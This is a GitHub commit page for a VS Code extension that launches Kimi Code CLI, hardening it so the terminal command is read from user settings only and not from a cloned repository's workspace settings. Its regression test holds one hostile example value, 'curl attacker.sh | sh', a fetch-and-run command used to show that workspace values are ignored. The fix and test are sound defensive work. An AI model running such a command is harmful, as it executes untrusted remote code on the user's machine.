Skip to content

Commit e06938e

Browse files
TheStreamCodeclaude
andcommitted
fix(security): resolve cliCommand from user settings only
`configuration.get('cliCommand')` also resolves workspace and workspace-folder values, so a cloned repository shipping a .vscode/settings.json could choose the command sent to the terminal on the first toolbar click. Workspace trust does not help: the extension already refuses to run in an untrusted workspace, so the only reachable case is a trusted one -- the routine state after opening a clone. Adds resolveCliCommandSetting, which reads globalValue/defaultValue via configuration.inspect(), matching the hardening the sibling launchers have carried since their first release, plus regression tests covering the workspace-override case. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 parent 6d272a5 commit e06938e

7 files changed

Lines changed: 57 additions & 6 deletions

File tree

‎CHANGELOG.md‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.
44

55
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## 0.1.2 - 2026-07-25
8+
9+
### Security
10+
11+
- The launch command is now read from user-level settings only. `configuration.get('cliCommand')` also resolves workspace and workspace-folder values, so a cloned repository shipping a `.vscode/settings.json` could choose the command sent to the terminal on the first toolbar click. The extension now inspects the setting and reads `globalValue`/`defaultValue`, matching the hardening the sibling launchers have carried since their first release.
12+
713
## 0.1.1 - 2026-07-16
814

915
### Changed

‎package-lock.json‎

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎package.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
"displayName": "Kimi Code CLI Launcher — Run Kimi in VS Code",
44
"description": "Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.",
55
"publisher": "mikesoft",
6-
"version": "0.1.1",
6+
"version": "0.1.2",
77
"repository": {
88
"type": "git",
99
"url": "https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher.git"

‎src/command-utils.ts‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,28 @@ type WorkspaceLike<T> = {
77
getWorkspaceFolder(uri: T): WorkspaceFolderLike<T> | undefined;
88
};
99
type ActiveEditorLike<T> = { document: { uri: T } };
10+
type ConfigurationInspectionLike<T> = {
11+
defaultValue?: T;
12+
globalValue?: T;
13+
};
1014

1115
/** Returns a trimmed CLI command with the default command as fallback. */
1216
export function normalizeCliCommand(value: string | undefined, fallback = FALLBACK_CLI_COMMAND): string {
1317
return (value ?? fallback).trim();
1418
}
1519

20+
/** Resolves launch command from user-level configuration only, ignoring workspace-controlled values. */
21+
export function resolveCliCommandSetting(
22+
inspection: ConfigurationInspectionLike<string> | undefined,
23+
fallback = FALLBACK_CLI_COMMAND,
24+
): string {
25+
const value = inspection?.globalValue !== undefined
26+
? inspection.globalValue
27+
: inspection?.defaultValue ?? fallback;
28+
29+
return normalizeCliCommand(value, fallback);
30+
}
31+
1632
/** Returns a trimmed terminal base name or its fallback. */
1733
export function normalizeTerminalName(value: string | undefined, fallback = FALLBACK_TERMINAL_NAME): string {
1834
return (value ?? fallback).trim() || fallback;

‎src/extension.ts‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,8 @@ import {
44
FALLBACK_TERMINAL_NAME,
55
buildExtensionSettingsQuery,
66
buildTerminalName,
7-
normalizeCliCommand,
87
normalizeTerminalName,
8+
resolveCliCommandSetting,
99
resolveTerminalCwd,
1010
} from './command-utils.js';
1111

@@ -38,7 +38,7 @@ export function activate(context: vscode.ExtensionContext): void {
3838
}
3939

4040
const configuration = vscode.workspace.getConfiguration(SETTINGS_NAMESPACE);
41-
const cliCommand = normalizeCliCommand(configuration.get<string>('cliCommand', FALLBACK_CLI_COMMAND));
41+
const cliCommand = resolveCliCommandSetting(configuration.inspect<string>('cliCommand'), FALLBACK_CLI_COMMAND);
4242
const configuredTerminalName = configuration.get<string>('terminalName', FALLBACK_TERMINAL_NAME);
4343
const terminalBaseName = normalizeTerminalName(configuredTerminalName);
4444
const terminalName = buildTerminalName(configuredTerminalName, terminalSequence);

‎test/command-utils.test.js‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,38 @@ const {
66
normalizeTerminalName,
77
buildTerminalName,
88
buildExtensionSettingsQuery,
9+
resolveCliCommandSetting,
910
resolveTerminalCwd,
1011
} = require('../out/command-utils.js');
1112

13+
// The resolved command is sent straight to a terminal. `configuration.get()`
14+
// also resolves workspace values, so a cloned repo shipping a .vscode/settings.json
15+
// could pick the command that runs on the first toolbar click. These cover the
16+
// user-level-only contract that keeps that from happening.
17+
test('resolveCliCommandSetting prefers the user-level value', () => {
18+
assert.equal(
19+
resolveCliCommandSetting({ defaultValue: 'kimi', globalValue: 'kimi --verbose' }),
20+
'kimi --verbose',
21+
);
22+
});
23+
24+
test('resolveCliCommandSetting ignores workspace-controlled values', () => {
25+
// A workspaceValue/workspaceFolderValue is never read, so a hostile repo
26+
// cannot substitute the command.
27+
assert.equal(
28+
resolveCliCommandSetting({
29+
defaultValue: 'kimi',
30+
workspaceValue: 'curl attacker.sh | sh',
31+
workspaceFolderValue: 'curl attacker.sh | sh',
32+
}),
33+
'kimi',
34+
);
35+
});
36+
37+
test('resolveCliCommandSetting falls back when inspection is undefined', () => {
38+
assert.equal(resolveCliCommandSetting(undefined), 'kimi');
39+
});
40+
1241
test('normalizeCliCommand trims configured values', () => {
1342
assert.equal(normalizeCliCommand(' kimi --continue '), 'kimi --continue');
1443
});

‎test/metadata.test.js‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ test('package metadata exposes the stable launcher interface', () => {
3535
'Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.',
3636
);
3737
assert.equal(packageJson.publisher, 'mikesoft');
38-
assert.equal(packageJson.version, '0.1.1');
38+
assert.equal(packageJson.version, '0.1.2');
3939
assert.equal(JSON.parse(readText('package-lock.json')).version, packageJson.version);
4040
assert.equal(packageJson.icon, 'media/icon.png');
4141
assert.equal(packageJson.engines.vscode, '^1.103.0');

0 commit comments

Comments
 (0)